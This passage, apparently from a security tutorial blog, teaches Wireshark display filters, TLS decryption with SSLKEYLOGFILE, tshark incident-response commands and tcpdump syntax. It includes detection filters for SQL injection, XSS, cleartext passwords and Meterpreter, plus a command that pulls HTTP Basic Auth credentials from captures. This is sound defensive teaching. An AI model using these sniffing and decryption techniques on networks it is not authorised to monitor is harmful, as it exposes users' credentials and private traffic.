  Raw bytes → Layer 2 decoder (Ethernet, 802.11, etc.)
             → Layer 3 decoder (IPv4, IPv6, ARP, etc.)
             → Layer 4 decoder (TCP, UDP, ICMP, etc.)
             → Layer 7 decoder (HTTP, DNS, SMB, Modbus, DNP3, etc.)
  Each layer reveals its fields → displayed in protocol tree
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Wireshark Interface Deep Dive
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Wireshark Main Window Layout:

┌─────────────────────────────────────────────────────────────┐
│ Filter Bar: [    Display Filter Expression           ] [Apply]│
├─────────────────────────────────────────────────────────────┤
│ Packet List (one row per packet):                           │
│ No.  Time      Source          Dest          Protocol  Info │
│ 1    0.000000  192.168.1.5    8.8.8.8       DNS       Who  │
│ 2    0.012345  8.8.8.8        192.168.1.5   DNS       Resp │
│ 3    0.013000  192.168.1.5    93.184.216.34 TCP       SYN  │
├─────────────────────────────────────────────────────────────┤
│ Packet Details (protocol tree for selected packet):         │
│ ▼ Frame 1: 74 bytes on wire                                 │
│   ▼ Ethernet II: Src: AA:BB:CC:DD:EE:FF, Dst: 11:22:33... │
│     Destination: 11:22:33:44:55:66                         │
│     Source: AA:BB:CC:DD:EE:FF                               │
│     Type: IPv4 (0x0800)                                     │
│   ▼ IPv4: Src 192.168.1.5, Dst 8.8.8.8                    │
│     Version: 4                                              │
│     ...                                                     │
│   ▼ UDP: Src Port 54321, Dst Port 53                       │
│   ▼ DNS: Standard Query                                     │
├─────────────────────────────────────────────────────────────┤
│ Packet Bytes (hex + ASCII):                                 │
│ 0000  11 22 33 44 55 66 aa bb  cc dd ee ff 08 00 45 00  │
│ 0010  ...                                                   │
└─────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Display Filters — The Core Skill
&lt;/h3&gt;

&lt;p&gt;Display filters are the most important Wireshark skill. They do not remove packets from the capture — they show or hide packets while the underlying capture remains complete.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Filter Syntax: field operator value (logical operators: and, or, not)

Basic Filters:
  ip.addr == 192.168.1.1          All traffic involving this IP (src or dst)
  ip.src == 192.168.1.5           Traffic FROM this IP
  ip.dst == 8.8.8.8               Traffic TO this IP
  tcp.port == 443                 TCP on port 443 (either direction)
  tcp.dstport == 80               TCP destined for port 80
  udp.port == 53                  UDP port 53 (DNS)

Protocol Filters:
  tcp                             All TCP traffic
  udp                             All UDP traffic
  icmp                            All ICMP traffic
  arp                             All ARP traffic
  dns                             All DNS traffic
  http                            All HTTP traffic (decoded)
  tls                             All TLS/SSL traffic
  smb                             All SMB traffic
  smb2                            All SMB2 traffic
  ftp                             All FTP control traffic
  ssh                             All SSH traffic
  modbus                          All Modbus traffic (ICS)
  dnp3                            All DNP3 traffic (ICS)

TCP Flags:
  tcp.flags.syn == 1              SYN packets (new connections)
  tcp.flags.syn == 1 and tcp.flags.ack == 0   SYN only (not SYN-ACK)
  tcp.flags.reset == 1            RST packets (connection resets)
  tcp.flags.fin == 1              FIN packets (connection close)

Content Filters:
  http.request.method == "POST"   HTTP POST requests
  http.response.code == 200       HTTP 200 OK responses
  http.response.code &amp;gt;= 400       HTTP errors
  dns.qry.name contains "evil"    DNS queries containing "evil"
  frame contains "password"       Any frame containing the string "password"
  data contains 50:41:53:53       Frames containing hex bytes (PASS)

Combining Filters:
  ip.src == 192.168.1.5 and tcp.dstport == 80
  not arp and not icmp            Exclude ARP and ICMP (reduce noise)
  ip.addr == 10.10.10.0/24        Any IP in this subnet
  tcp.port in {80 443 8080 8443}  Traffic on any of these ports

Comparison Operators:
  ==  equal to
  !=  not equal to
  &amp;gt;   greater than
  &amp;lt;   less than
  &amp;gt;=  greater than or equal
  &amp;lt;=  less than or equal
  contains  string/bytes contained within
  matches   regex match (~~)

Security-Specific Filters:
  # Find potential SQL injection in HTTP:
  http.request.uri contains "'"
  http.request.uri contains "UNION"
  http.request.uri contains "SELECT"

  # Find potential XSS:
  http.request contains "&amp;lt;script"

  # Detect password transmission in cleartext:
  ftp.request.command == "PASS"
  pop.request.command == "PASS"
  imap contains "LOGIN"

  # Detect ARP spoofing (duplicate IP):
  arp.duplicate-address-detected

  # Find Nmap SYN scans:
  tcp.flags.syn == 1 and tcp.flags.ack == 0 and tcp.window_size &amp;lt;= 1024

  # Detect Metasploit Meterpreter (default SSL cert):
  tls.handshake.type == 11        # Certificate in TLS
  # Then check certificate details for known Metasploit cert

  # Modbus write commands (ICS):
  modbus.func_code == 5           # Force Single Coil
  modbus.func_code == 6           # Preset Single Register
  modbus.func_code == 15          # Force Multiple Coils
  modbus.func_code == 16          # Preset Multiple Registers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.4 Statistics and Analysis Features
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Statistics menu — essential for pattern analysis:&lt;/span&gt;

&lt;span class="c"&gt;# Protocol Hierarchy:&lt;/span&gt;
&lt;span class="c"&gt;# Statistics → Protocol Hierarchy&lt;/span&gt;
&lt;span class="c"&gt;# Shows: percentage of traffic per protocol&lt;/span&gt;
&lt;span class="c"&gt;# Security use: unexpected protocols (Tor, unusual ports) stand out&lt;/span&gt;

&lt;span class="c"&gt;# Conversations:&lt;/span&gt;
&lt;span class="c"&gt;# Statistics → Conversations → TCP/UDP/IP&lt;/span&gt;
&lt;span class="c"&gt;# Shows: top talkers, bytes transferred per connection&lt;/span&gt;
&lt;span class="c"&gt;# Security use: identify exfiltration (large outbound transfers)&lt;/span&gt;
&lt;span class="c"&gt;# Security use: lateral movement (many connections from one source)&lt;/span&gt;

&lt;span class="c"&gt;# Endpoints:&lt;/span&gt;
&lt;span class="c"&gt;# Statistics → Endpoints&lt;/span&gt;
&lt;span class="c"&gt;# Shows: all unique IP/MAC addresses in capture&lt;/span&gt;
&lt;span class="c"&gt;# Security use: discover new/unexpected hosts on network&lt;/span&gt;

&lt;span class="c"&gt;# IO Graphs:&lt;/span&gt;
&lt;span class="c"&gt;# Statistics → I/O Graph&lt;/span&gt;
&lt;span class="c"&gt;# Shows: traffic volume over time&lt;/span&gt;
&lt;span class="c"&gt;# Security use: identify spikes (DDoS, exfiltration, scanning)&lt;/span&gt;

&lt;span class="c"&gt;# Follow TCP Stream:&lt;/span&gt;
&lt;span class="c"&gt;# Right-click packet → Follow → TCP Stream&lt;/span&gt;
&lt;span class="c"&gt;# Shows entire TCP conversation as text&lt;/span&gt;
&lt;span class="c"&gt;# Security use: see complete HTTP request/response, FTP session, etc.&lt;/span&gt;
&lt;span class="c"&gt;# Most useful command in Wireshark for protocol analysis&lt;/span&gt;

&lt;span class="c"&gt;# Export Objects:&lt;/span&gt;
&lt;span class="c"&gt;# File → Export Objects → HTTP/SMB/FTP/TFTP&lt;/span&gt;
&lt;span class="c"&gt;# Extracts transferred files from the capture&lt;/span&gt;
&lt;span class="c"&gt;# Security use: extract malware downloaded via HTTP&lt;/span&gt;
&lt;span class="c"&gt;# Security use: extract sensitive files exfiltrated via SMB&lt;/span&gt;

&lt;span class="c"&gt;# Expert Information:&lt;/span&gt;
&lt;span class="c"&gt;# Analyze → Expert Information&lt;/span&gt;
&lt;span class="c"&gt;# Shows: errors, warnings, protocol anomalies&lt;/span&gt;
&lt;span class="c"&gt;# Security use: malformed packets, checksum errors, unusual sequences&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.5 Capture Filters vs Display Filters
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Capture Filters (BPF syntax — applied at capture time):
  These are applied BEFORE packets are stored
  Packets not matching are discarded
  Use when: you need to reduce capture size, focus on specific traffic
  Syntax: Berkeley Packet Filter (libpcap/BPF), different from display filters

  Examples:
  host 192.168.1.1                 Only traffic to/from this IP
  net 192.168.1.0/24               Only traffic in this subnet
  port 80                          Only traffic on port 80
  tcp                              Only TCP traffic
  not arp                          Exclude ARP
  host 192.168.1.1 and port 80     Combined: specific host AND port

Display Filters (Wireshark syntax — applied to existing capture):
  Applied after capture — original data preserved
  Can be changed without re-capturing
  Richer syntax than capture filters

The critical difference:
  If you set a capture filter: excluded packets are GONE
  If you set a display filter: excluded packets are hidden but still there
  For forensics: always capture everything, use display filters for analysis
  Capture filter only when: storage/performance constraints
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.6 TLS Decryption in Wireshark
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Method 1: Pre-Master Secret Log (modern browsers/TLS):&lt;/span&gt;
&lt;span class="c"&gt;# Set environment variable before starting browser:&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;SSLKEYLOGFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/ssl_keys.log
firefox &amp;amp;                           &lt;span class="c"&gt;# Or chromium&lt;/span&gt;

&lt;span class="c"&gt;# In Wireshark:&lt;/span&gt;
&lt;span class="c"&gt;# Edit → Preferences → Protocols → TLS&lt;/span&gt;
&lt;span class="c"&gt;# (Pre)-Master-Secret log filename: /tmp/ssl_keys.log&lt;/span&gt;
&lt;span class="c"&gt;# Now HTTPS traffic is decrypted in real-time&lt;/span&gt;

&lt;span class="c"&gt;# Method 2: Server private key (only works for RSA key exchange, not ECDH):&lt;/span&gt;
&lt;span class="c"&gt;# Edit → Preferences → Protocols → TLS → Edit (RSA keys list)&lt;/span&gt;
&lt;span class="c"&gt;# Add: IP, Port, Protocol, Key file path&lt;/span&gt;
&lt;span class="c"&gt;# Import PEM private key of the server&lt;/span&gt;
&lt;span class="c"&gt;# Note: Does NOT work if server uses forward secrecy (ECDH/DHE) — most modern servers do&lt;/span&gt;

&lt;span class="c"&gt;# Method 3: Manual session key import:&lt;/span&gt;
&lt;span class="c"&gt;# If you have the session keys from another source&lt;/span&gt;
&lt;span class="c"&gt;# Import via the TLS pre-master secret log mechanism&lt;/span&gt;

&lt;span class="c"&gt;# Security use: decrypt HTTPS in lab environments to understand attack traffic&lt;/span&gt;
&lt;span class="c"&gt;# Incident response: if you have server private key, decrypt historical captures&lt;/span&gt;
&lt;span class="c"&gt;# Limitation: most modern servers use forward secrecy — key import won't work&lt;/span&gt;
&lt;span class="c"&gt;# → Use SSLKEYLOGFILE approach for browser traffic analysis&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.7 Wireshark for Incident Response
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Command-line Wireshark (tshark):&lt;/span&gt;

&lt;span class="c"&gt;# Basic capture:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture.pcap         &lt;span class="c"&gt;# Capture to file&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-c&lt;/span&gt; 1000                      &lt;span class="c"&gt;# Capture 1000 packets&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-a&lt;/span&gt; duration:60               &lt;span class="c"&gt;# Capture for 60 seconds&lt;/span&gt;

&lt;span class="c"&gt;# Read from file and apply filter:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request.method == POST"&lt;/span&gt;

&lt;span class="c"&gt;# Extract specific fields:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.dstport &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.uri &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request"&lt;/span&gt;

&lt;span class="c"&gt;# Count DNS queries per domain:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.flags.response == 0"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Extract all HTTP usernames and passwords (cleartext):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; http.authbasic &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.authbasic"&lt;/span&gt;

&lt;span class="c"&gt;# Find large file transfers (potential exfiltration):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.stream &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.len &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{sum[$1" "$2]+=$4} END {for(k in sum) print sum[k], k}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="c"&gt;# Extract files from HTTP captures:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;--export-objects&lt;/span&gt; http,/tmp/extracted_files/

&lt;span class="c"&gt;# Convert pcap to readable JSON for automated analysis:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; json &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; analysis.json

&lt;span class="c"&gt;# Find all unique external IPs (potential C2 or exfiltration):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-vE&lt;/span&gt; &lt;span class="s2"&gt;"^(10&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;|172&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;(1[6-9]|2[0-9]|3[01])&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;|192&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;168&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;|127&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Wireshark's Follow TCP Stream function is the single most powerful investigative capability in the tool. It reconstructs the entire conversation between two endpoints, showing you exactly what was said — credentials, commands, file contents, protocol exchanges. In incident response, following streams to malicious destinations reveals the attacker's exact actions. In OT security, following Modbus streams reveals every command sent to every PLC.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. tcpdump — The Command-Line Packet Capture Engine
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Why tcpdump Matters
&lt;/h3&gt;

&lt;p&gt;tcpdump is the command-line packet analyser available on virtually every Unix-like system by default. It is the tool you use when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;There is no GUI (server environments, embedded systems, OT devices)&lt;/li&gt;
&lt;li&gt;You need to capture remotely and analyse locally&lt;/li&gt;
&lt;li&gt;You need scripted, automated packet capture&lt;/li&gt;
&lt;li&gt;Performance constraints prevent running Wireshark&lt;/li&gt;
&lt;li&gt;You are working on a system with no desktop environment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;tcpdump uses libpcap (same library as Wireshark) and produces standard pcap files that Wireshark can read.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 tcpdump Syntax and Filters
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tcpdump syntax:
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="o"&gt;[&lt;/span&gt;options] &lt;span class="o"&gt;[&lt;/span&gt;filter expression]

Key Options:
  &lt;span class="nt"&gt;-i&lt;/span&gt; eth0          Interface to capture on &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt; any &lt;span class="o"&gt;=&lt;/span&gt; all interfaces&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; file.pcap     Write to pcap file &lt;span class="o"&gt;(&lt;/span&gt;don&lt;span class="s1"&gt;'t display)
  -r file.pcap     Read from pcap file
  -c 100           Capture only 100 packets then stop
  -n               Don'&lt;/span&gt;t resolve IP addresses to hostnames &lt;span class="o"&gt;(&lt;/span&gt;faster, clearer&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-nn&lt;/span&gt;              Don&lt;span class="s1"&gt;'t resolve ports either (show numbers, not service names)
  -v               Verbose (more protocol detail)
  -vv              Very verbose
  -vvv             Maximum verbosity
  -A               Print packet data in ASCII
  -X               Print packet data in hex and ASCII
  -xx              Print with link layer headers in hex
  -s 0             Capture full packet (default is 65535 bytes, -s 0 = unlimited)
  -S               Print absolute sequence numbers (useful for TCP analysis)
  -e               Print link-layer header (MAC addresses)
  -l               Line-buffer output (for piping to grep/awk in real-time)
  -q               Quiet mode (less protocol detail)
  -t               Don'&lt;/span&gt;t print timestamp
  &lt;span class="nt"&gt;-tt&lt;/span&gt;              Print Unix epoch timestamp &lt;span class="o"&gt;(&lt;/span&gt;useful &lt;span class="k"&gt;for &lt;/span&gt;log correlation&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-ttt&lt;/span&gt;             Print delta between packets
  &lt;span class="nt"&gt;-tttt&lt;/span&gt;            Print &lt;span class="nb"&gt;date &lt;/span&gt;and &lt;span class="nb"&gt;time&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt;               List available interfaces
  &lt;span class="nt"&gt;-Z&lt;/span&gt; user          Drop privileges to user after opening interface

Filter Syntax &lt;span class="o"&gt;(&lt;/span&gt;BPF — Berkeley Packet Filter&lt;span class="o"&gt;)&lt;/span&gt;:
  Primitives: host, net, port, src, dst, proto
  Logical: and &lt;span class="o"&gt;(&amp;amp;&amp;amp;)&lt;/span&gt;, or &lt;span class="o"&gt;(||)&lt;/span&gt;, not &lt;span class="o"&gt;(!)&lt;/span&gt;

  host 192.168.1.1              Traffic to or from this IP
  src host 192.168.1.5          Traffic FROM this IP
  dst host 192.168.1.1          Traffic TO this IP
  net 192.168.1.0/24            Traffic &lt;span class="k"&gt;in &lt;/span&gt;subnet
  port 80                       Traffic on port 80 &lt;span class="o"&gt;(&lt;/span&gt;TCP or UDP&lt;span class="o"&gt;)&lt;/span&gt;
  tcp port 443                  TCP port 443
  udp port 53                   UDP port 53
  portrange 1-1024              Any port &lt;span class="k"&gt;in &lt;/span&gt;range
  not port 22                   Exclude SSH
  tcp and not port 22           TCP, excluding SSH
  host 192.168.1.1 and port 80  Specific host + port

Protocol Primitives:
  ip, ip6, arp, rarp, tcp, udp, icmp, icmp6
  proto 89                       OSPF &lt;span class="o"&gt;(&lt;/span&gt;IP protocol 89&lt;span class="o"&gt;)&lt;/span&gt;

Advanced BPF &lt;span class="o"&gt;(&lt;/span&gt;byte offset matching&lt;span class="o"&gt;)&lt;/span&gt;:
  tcp[tcpflags] &amp;amp; tcp-syn &lt;span class="o"&gt;!=&lt;/span&gt; 0    SYN packets
  tcp[tcpflags] &amp;amp; tcp-rst &lt;span class="o"&gt;!=&lt;/span&gt; 0    RST packets
  tcp[tcpflags] &lt;span class="o"&gt;==&lt;/span&gt; tcp-syn        ONLY SYN &lt;span class="o"&gt;(&lt;/span&gt;not SYN-ACK&lt;span class="o"&gt;)&lt;/span&gt;
  ip[8] &amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; 5                      TTL &amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; 5 &lt;span class="o"&gt;(&lt;/span&gt;traceroute-like packets&lt;span class="o"&gt;)&lt;/span&gt;
  ip[6:2] &amp;amp; 0x3fff &lt;span class="o"&gt;!=&lt;/span&gt; 0          IP fragmented packets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 Essential tcpdump Commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic capture and display:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0                              &lt;span class="c"&gt;# Basic capture, all traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt;                          &lt;span class="c"&gt;# No name resolution&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;                       &lt;span class="c"&gt;# More detail&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; any &lt;span class="nt"&gt;-nn&lt;/span&gt;                           &lt;span class="c"&gt;# All interfaces&lt;/span&gt;

&lt;span class="c"&gt;# Save and read:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture.pcap         &lt;span class="c"&gt;# Save to file&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/capture.pcap &lt;span class="nt"&gt;-nn&lt;/span&gt;             &lt;span class="c"&gt;# Read from file&lt;/span&gt;

&lt;span class="c"&gt;# Targeted captures:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 host 192.168.1.100           &lt;span class="c"&gt;# Specific host&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 port 80                      &lt;span class="c"&gt;# Port 80&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'tcp port 80 and host 192.168.1.100'&lt;/span&gt;

&lt;span class="c"&gt;# Show packet content:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-A&lt;/span&gt; port 80                   &lt;span class="c"&gt;# ASCII content&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-X&lt;/span&gt; port 80                   &lt;span class="c"&gt;# Hex + ASCII&lt;/span&gt;

&lt;span class="c"&gt;# Capture only specific number:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-c&lt;/span&gt; 100 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/100pkts.pcap  &lt;span class="c"&gt;# Capture 100 packets&lt;/span&gt;

&lt;span class="c"&gt;# Time-limited capture:&lt;/span&gt;
&lt;span class="nb"&gt;timeout &lt;/span&gt;60 &lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/60sec.pcap  &lt;span class="c"&gt;# 60 seconds&lt;/span&gt;

&lt;span class="c"&gt;# Capture and pipe to analysis:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; port 80 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"GET&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Host:"&lt;/span&gt;
&lt;span class="c"&gt;# -l: line buffered (necessary for real-time piping)&lt;/span&gt;

&lt;span class="c"&gt;# Security-specific captures:&lt;/span&gt;
&lt;span class="c"&gt;# Capture all new TCP connections (SYN only):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'tcp[tcpflags] &amp;amp; tcp-syn != 0 and tcp[tcpflags] &amp;amp; tcp-ack = 0'&lt;/span&gt;

&lt;span class="c"&gt;# Capture DNS traffic:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; udp port 53

&lt;span class="c"&gt;# Capture ICMP:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 icmp

&lt;span class="c"&gt;# Capture ARP:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 arp

&lt;span class="c"&gt;# Detect SYN flood (high rate of SYN packets):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="s1"&gt;'tcp[tcpflags] == tcp-syn'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f1-4&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
